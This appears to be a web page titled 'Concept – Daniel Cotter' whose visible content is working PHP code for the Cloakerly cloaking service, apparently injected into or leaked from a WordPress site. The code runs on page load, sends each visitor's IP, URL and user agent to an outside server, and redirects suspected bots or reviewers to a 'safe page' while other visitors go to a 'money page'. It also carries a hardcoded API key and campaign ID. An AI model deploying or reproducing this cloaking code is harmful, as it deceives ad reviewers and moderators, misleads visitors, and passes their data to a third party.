Concept – Daniel Cotter

namespace Cloakerly; class BlacklistChecker { private $key = null; private $strictness = 0; private $user_agent = false; private $failure_redirect = null; private $success_redirect = null; private $campaign = null; const BASE_API_URL = "https://app.cloakerly.com/v2/integration/check/%s/%s/%s"; public function SetKey($key = null){ $this->key = $key; } public function SetCampaign($campaign=null){ $this->campaign = $campaign; } public function SetStrictness($value = 0){ $this->strictness = $value; } public function PassUserAgent($value = false){ $this->user_agent = $value; } public function SetFailureRedirect($value = null){ $this->failure_redirect = $value; } public function SetSuccessRedirect($value = null){ $this->success_redirect = $value; } public function Precheck(){ if($this->key === null){ throw new InvalidParameter("No key was passed to BlacklistChecker. Aborting."); } if(!is_numeric($this->strictness)){ throw new InvalidParameter("Invalid strictness was passed to BlacklistChecker. Aborting."); } if(!is_bool($this->user_agent)){ throw new InvalidParameter("Invalid pass user agent flag was passed to BlacklistChecker (must be bool). Aborting."); } return true; } public function CheckIP($ip){ if($this->Precheck()){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, sprintf(static::BASE_API_URL, $this->key, urlencode($ip),$this->campaign)); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); $parameters = array("strictness" => $this->strictness); $parameters["current_url"] = $this->getCurrentURL(); if($this->user_agent && isset($_SERVER["HTTP_USER_AGENT"])){ $parameters["user_agent"] = $_SERVER["HTTP_USER_AGENT"]; } curl_setopt($curl, CURLOPT_POSTFIELDS, $parameters); $result = curl_exec($curl); $data = json_decode($result, true); curl_close($curl); if($data === false){ die(print_r($result, true)); } else { return $data; } } } function getCurrentURL(){ $pageURL = (isset( $_SERVER["HTTPS"] ) && $_SERVER["HTTPS"] == "on") ? "https://" : "http://"; if($_SERVER["SERVER_NAME"]!="" && $_SERVER["SERVER_NAME"]!="_"){ $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; }else{ $pageURL .= $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; } return $pageURL; } public function ForceRedirect($type = "status"){ $result = $this->CheckIP($this->GetIP()); if(isset($result[$type])){ $this->SetFailureRedirect($result["safe_page"]); $this->SetSuccessRedirect($result["money_page"]); if($result["proxy_bot"] === true){ if($this->failure_redirect !== null){ if(strpos($this->getCurrentURL(),$this->failure_redirect) !== FALSE){ return true; }else{ ob_clean(); if($result["fr"] == 1){ wp_redirect($this->failure_redirect); } } } else { exit; } return true; }else if($result[$type] === false){ if($this->failure_redirect !== null){ if(strpos($this->getCurrentURL(),$this->failure_redirect) !== FALSE){ return true; }else{ ob_clean(); if($result["fr"] == 1){ wp_redirect($this->failure_redirect); } } } else { exit; } } else { if($this->success_redirect !== null){ ob_clean(); wp_redirect($this->success_redirect); exit(header(sprintf("Location: %s", $this->success_redirect))); } } } else { if(isset($result["errors"])){ throw new CloakerlyException(implode(" - ", $result["errors"])); } throw new CloakerlyException("Force redirect check failed."); } } private static function GetIP() { $ipaddress = ""; if (getenv("HTTP_CLIENT_IP")) $ipaddress = getenv("HTTP_CLIENT_IP"); else if(getenv("HTTP_X_FORWARDED_FOR") && getenv("HTTP_X_FORWARDED_FOR")!=$_SERVER['SERVER_ADDR']) $ipaddress = getenv("HTTP_X_FORWARDED_FOR"); else if(getenv("HTTP_X_FORWARDED")) $ipaddress = getenv("HTTP_X_FORWARDED"); else if(getenv("HTTP_FORWARDED_FOR")) $ipaddress = getenv("HTTP_FORWARDED_FOR"); else if(getenv("HTTP_FORWARDED")) $ipaddress = getenv("HTTP_FORWARDED"); else if(getenv("REMOTE_ADDR")) $ipaddress = getenv("REMOTE_ADDR"); else $ipaddress = "UNKNOWN"; $ipaddress_pool = explode(",",$ipaddress); return trim($ipaddress_pool[0]); } } class CloakerlyException extends \Exception {} class InvalidParameter extends CloakerlyException {} function PreventLoad(){ $check = new BlacklistChecker(); $check->SetKey("lixAgRbUOLipYMn3UB4781054xdNmAmkCo7sStLJdGZjYhWHD1qeDW3oS6CvXjht"); $check->SetCampaign("22472"); $check->SetStrictness("0"); $check->PassUserAgent(true); $check->ForceRedirect("status"); } PreventLoad();

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